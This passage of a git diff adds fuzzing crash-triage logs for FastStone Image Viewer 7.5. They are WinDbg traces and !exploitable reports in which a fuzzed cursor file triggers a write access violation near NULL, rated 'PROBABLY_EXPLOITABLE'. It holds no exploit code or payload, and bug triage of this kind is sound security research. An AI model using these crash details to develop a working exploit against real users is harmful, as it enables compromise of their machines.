Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f8c.db4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=07cb0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.33377e+036 1.11267e+033 7.27165e+010 -1.32248e-037 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b0000 aaba19ba 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..22c25bd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..402be9b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19B4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19B4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19b4.f48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=07ca6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.31409e-005 -4.1413e-005 -3.10809e-024 -8.02e-030 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0027d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0027d000 52f0fe91 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0027d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..402be9b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/30181/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19B4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19B4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19b4.f48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=07ca6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 